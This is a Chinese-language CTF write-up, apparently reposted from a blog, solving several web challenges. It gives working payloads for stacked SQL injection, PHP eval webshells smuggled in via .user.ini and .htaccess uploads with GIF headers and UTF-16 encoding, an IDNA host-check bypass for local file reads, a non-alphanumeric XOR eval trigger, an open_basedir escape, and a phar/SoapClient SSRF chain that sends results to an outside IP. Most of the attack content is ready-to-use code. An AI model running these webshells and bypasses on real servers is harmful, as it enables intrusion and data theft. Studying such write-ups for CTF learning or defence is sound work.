标签:serve bad zend hub 添加图片 其他 反序列化 执行命令 图片

这是一个考察堆叠注入的题目,但是这道题因为作者的过滤不够完全所以存在非预期解
非预期解
直接构造 *,1 这样构造,最后拼接的查询语句就变成了 select *,1||flag from Flag,可以直接得到当前表中的全部内容,就能够直接获得flag

正常解题
堆叠注入,先构造 1;show tables;#可以得到当前的表信息

并且根据回显,我们可以大致判断查询语句为: ... POST[‘query‘]||flag ...
直接构造 1;select * from Flag;# 出现Nonono, 可以知道存在过滤,过滤了flag

这时候,通过堆叠注入,设置 sql_mode 的值为 PIPES_AS_CONCAT,从而将 || 视为字符串的连接操作符而非或运算符,所以构造出来的payload为:1;set sql_mode=PIPES_AS_CONCAT;select 1
得到flag

上传文件的时候发现,上传扩展名为aaa的文件,回显<? in contents!,说明文件的内容不能包含<?,可以知道上传的时候是黑名单过滤,直接把文件的尾缀改为jpg,回显exif_imagetype:not image!
猜测后端应该调用了php的exif_imagetype()函数,这个很好绕过,添加图片文件头就可以了,我这里添加的是GIF89a,上传成功一个文件之后,在回显中,发现上传目录中存在index.php文件

这里就可以知道需要用到.user.ini文件了,先上传一个.user.ini文件,上传文件内容为
GIF89a
auto_prepend_file="test.png"
通过auto_prepend_file指定需要包含的文件,这里我包含了一个test.png

接着在上传需要包含进去的test.png文件,文件内容为:
GIF89a
<script language="php">eval($_POST[‘five‘])</script>

这时候,其实就把test.png文件里面的一句话包含进了上传文件目录里的index.php文件中,可以直接在index.php中执行一句话,蚁剑连上,可以在文件中找到flag,读取就好

贴一篇优秀的文章
进入页面后给了源码:
@app.route(‘/getUrl‘, methods=[‘GET‘, ‘POST‘])
?
def getUrl():
?
url = request.args.get("url")
?
host = parse.urlparse(url).hostname
?
if host == ‘suctf.cc‘:
?
return "我扌 your problem? 111"
?
parts = list(urlsplit(url))
?
host = parts[1]
?
if host == ‘suctf.cc‘:
?
return "我扌 your problem? 222 " + host
?
newhost = []
?
for h in host.split(‘.‘):
?
newhost.append(h.encode(‘idna‘).decode(‘utf-8‘))
?
parts[1] = ‘.‘.join(newhost)
?
\#去掉 url 中的空格
?
finalUrl = urlunsplit(parts).split(‘ ‘)[0]
?
host = parse.urlparse(finalUrl).hostname
?
if host == ‘suctf.cc‘:
?
return urllib.request.urlopen(finalUrl).read()
?
else:
?
return "我扌 your problem? 333"
?
<!-- Dont worry about the suctf.cc. Go on! -->
?
<!-- Do you know the nginx? -->
这题的出题思路来自于今年BlackHat的一个议题,相关PPT如下:
其中关于Python的内容如下:

大佬写的一个脚本,用来寻找可用字符:
\# coding:utf-8
?
for i in range(128,65537):
?
tmp=chr(i)
?
try:
?
res = tmp.encode(‘idna‘).decode(‘utf-8‘)
?
if("-") in res:
?
continue
?
print("U:{} A:{} ascii:{} ".format(tmp, res, i))
?
except:
?
pass
下面就是寻找利用方式了,根据题目中的提示:
前面的url部分应该是suctf.cc
还提到了Nginx,Nginx的配置文件目录为:/usr/local/nginx/conf/nginx.conf
跑上述脚本的的时候,其中有一个可利用字符:
由此可以想到构造:file://suctf.c?sr/local/nginx/conf/nginx.conf(另一种绕过方式是利用?来代替c及进行绕过),这样可以读到flag的位置:

最后构造payload:file://suctf.c?sr/fffffflag

题目页面给了源码
<?php
function get_the_flag(){
?
// webadmin will remove your upload file every 20 min!!!!
?
$userdir = "upload/tmp_".md5($_SERVER[‘REMOTE_ADDR‘]);
?
if(!file_exists($userdir)){
?
mkdir($userdir);
?
}
?
if(!empty($_FILES["file"])){
?
$tmp_name = $_FILES["file"]["tmp_name"];
?
$name = $_FILES["file"]["name"];
?
$extension = substr($name, strrpos($name,".")+1);
?
if(preg_match("/ph/i",$extension)) die("^_^");
?
if(mb_strpos(file_get_contents($tmp_name), ‘<?‘)!==False) die("^_^");
?
if(!exif_imagetype($tmp_name)) die("^_^");
?
$path= $userdir."/".$name;
?
@move_uploaded_file($tmp_name, $path);
?
print_r($path);
?
}
?
}
?
$hhh = @$_GET[‘_‘];
?
if (!$hhh){
?
highlight_file(__FILE__);
?
}
?
if(strlen($hhh)>18){
?
die(‘One inch long, one inch strong!‘);
?
}
?
?
if ( preg_match(‘/[\x00- 0-9A-Za-z\‘"\`~_&.,|=[\x7F]+/i‘, $hhh) )
?
die(‘Try something else!‘);
?
$character_type = count_chars($hhh, 3);
?
if(strlen($character_type)>12) die("Almost there!");
?
eval($hhh);
?>
代码分为两部分,上面是get_the_flag()函数,应该是一个文件上传功能的验证函数,下面是通过 _ 传参进去,如果能通过一系列的检验则可以执行eval()函数。如果这题是考RCE的话,为什么还要给出文件上传的代,再看那些过滤,几乎很难去绕过,于是考虑调用get_the_flag()函数来看看可不可以通过文件上传功能
所以接下来要构造payload绕过正则检测并且调用get_the_flag() ,这里的过滤非常严格,几乎过滤了所有可见字符,可以看下这篇文章 https://www.leavesongs.com/penetration/webshell-without-alphanum.html
就可以知道如何来绕过了,这里可以利用不可见字符的异或来构造,脚本如下
<?php
?
$payload = ‘‘;
?
for($i=0;$i<strlen($argv[1]);$i++)
{
for($j=0;$j<255;$j++)
?
{
?
$k = chr($j)^chr(255);
?
if($k == $argv[1][$i])
?
$payload .= ‘%‘.dechex($j);
?
}
?
}
?
echo $payload;
可以得到

所以尝试构造payload:
${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo

构造成功,于是构造payload:
${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=get_the_flag
接下来就是通过上传来getshell了,这里确实是需要上传.htaccess文件了,绕过方式可以参考这篇文章:
https://www.cnblogs.com/wfzWebSecuity/p/11207145.html
exif_imagetype() 的绕过方式和上面一样
这里注意到php版本为7.2所以,不能用<script>标签绕过<?的过滤了,可以通过编码进行绕过,如原来使用utf8编码,如果shell中是用utf16编码则可以Bypass

直接利用脚本生成文件:
SIZE_HEADER = b"\n\n#define width 1337\n#define height 1337\n\n"
def generate_php_file(filename, script):
phpfile = open(filename, ‘wb‘)
phpfile.write(script.encode(‘utf-16be‘))
phpfile.write(SIZE_HEADER)
phpfile.close()
def generate_htacess():
htaccess = open(‘.htaccess‘, ‘wb‘)
htaccess.write(SIZE_HEADER)
htaccess.write(b‘AddType application/x-httpd-php .lethe\n‘)
htaccess.write(b‘php_value zend.multibyte 1\n‘)
htaccess.write(b‘php_value zend.detect_unicode 1\n‘)
htaccess.write(b‘php_value display_errors 1\n‘)
htaccess.close()
generate_htacess()
generate_php_file("shell.lethe", "<?php eval($_GET[‘cmd‘]); die(); ?>")
然后利用Postman分别构造上传.htaccess和shell.lethe:


得到了文件路径 upload/tmp_f4e7685fe689f675c85caeefaedcf40c/shell.lethe
利用shell.lethe执行命令了,但是还需要绕过open_basedir。
参考:从PHP底层看open_basedir bypass
于是构造payload如下:
?cmd=chdir(‘/tmp‘);mkdir(‘lethe‘);chdir(‘lethe‘);ini_set(‘open_basedir‘,‘..‘);chdir(‘..‘);chdir(‘..‘);chdir(‘..‘);chdir(‘..‘);ini_set(‘open_basedir‘,‘/‘);var_dump(ini_get(‘open_basedir‘));var_dump(glob(‘*‘));

得到flag位置后,最后读取flag即可,payload:
?cmd=chdir(‘/tmp‘);mkdir(‘lethe‘);chdir(‘lethe‘);ini_set(‘open_basedir‘,‘..‘);chdir(‘..‘);chdir(‘..‘);chdir(‘..‘);chdir(‘..‘);ini_set(‘open_basedir‘,‘/‘);var_dump(ini_get(‘open_basedir‘));var_dump(file_get_contents(THis_Is_tHe_F14g));

题目给了源码,所以就是进行代码审计
class Ad{
......
function __destruct(){
getFlag($this->ip, $this->port);
//使用你自己的服务器监听一个确保可以收到消息的端口来获取flag
}
}
if($_SERVER[‘REMOTE_ADDR‘] == ‘127.0.0.1‘){
if(isset($_POST[‘admin‘])){
$ip = $_POST[‘ip‘]; //你用来获取flag的服务器ip
$port = $_POST[‘port‘]; //你用来获取flag的服务器端口
$clazz = $_POST[‘clazz‘];
$func1 = $_POST[‘func1‘];
$func2 = $_POST[‘func2‘];
$func3 = $_POST[‘func3‘];
$arg1 = $_POST[‘arg1‘];
$arg2 = $_POST[‘arg2‘];
$arg2 = $_POST[‘arg3‘];
$admin = new Ad($ip, $port, $clazz, $func1, $func2, $func3, $arg1, $arg2, $arg3);
$admin->check();
}
}
......
也就是说需要通过SSRF来反序列化触发getFlag函数,所以继续查看代码
#class.php
......
function getMIME(){
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$this->type = finfo_file($finfo, $this->file_name);
finfo_close($finfo);
}
......
参考zsx的文章:https://blog.zsxsoft.com/post/38,查看finfo_file的底层代码

阔以发现finfo_file也调用了,所以finfo_file也是能够触发phar反序列化的,那么就可以利用SoapClient来通过SSRF以POST方式访问到admin.php文件。不过在func.php中又做了限制
<?php
include ‘class.php‘;
if (isset($_POST["submit"]) && isset($_POST["url"])) {
if(preg_match(‘/^(ftp|zlib|data|glob|phar|ssh2|compress.bzip2|compress.zlib|rar|ogg|expect)(.|\\s)*|(.|\\s)*(file|data|\.\.)(.|\\s)*/i‘,$_POST[‘url‘])){
die("Go away!");
}else{
$file_path = $_POST[‘url‘];
$file = new File($file_path);
$file->getMIME();
echo "<p>Your file type is ‘$file‘ </p>";
}
}
phar协议不能出现在开头,还是zxs那篇文章里写的
也就是说阔以构造绕过一下来调用phar协议,这里的吹一下altman(https://altman.vip/),fuzz到一个可以利用的方法php://filter/resource=phar://
所以接下来就是生成一个phar脚本,上传后通过func触发就好了
<?php
class File{
public $file_name;
public $type;
public $func = "SoapClient";
function __construct(){
$this->file_name = array(null, array(‘location‘ => "http://127.0.0.1/admin.php", ‘uri‘ => "c", ‘user_agent‘ => "catcat\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 133\r\n\r\nip=72.19.12.57&port=1234&admin=1&clazz=ArrayIterator&func1=append&func2=append&func3=append&arg1=1&arg2=1&arg3=1\r\n\r\n\r\n"));
}
}
$o = new File();
$phar=new Phar(‘poc.phar‘);
$phar->startBuffering();
$phar->setStub("GIF89a< ?php __HALT_COMPILER(); ?>");
$phar->setMetadata($o);
$phar->addFromString("foo.txt","bar");
$phar->stopBuffering();
我自己在运行脚本的时候,出现了错误提示

需要把phar.readonly设置为Off

然后改个后缀上传,我这里改成了jpg,

vps上监听一下端口,到func.php触发就可以了
问题来了~~~,我监听不到,不知道是什么问题,感觉可能是国外的IP,不能访问???
迷惑,有时间再看吧,咕咕咕~~~

没看懂,只能把网上大佬的wp搬过来了~~~
再加上点其他大佬的链接
标签:serve bad zend hub 添加图片 其他 反序列化 执行命令 图片
原文地址:https://www.cnblogs.com/sesefadou/p/11780560.html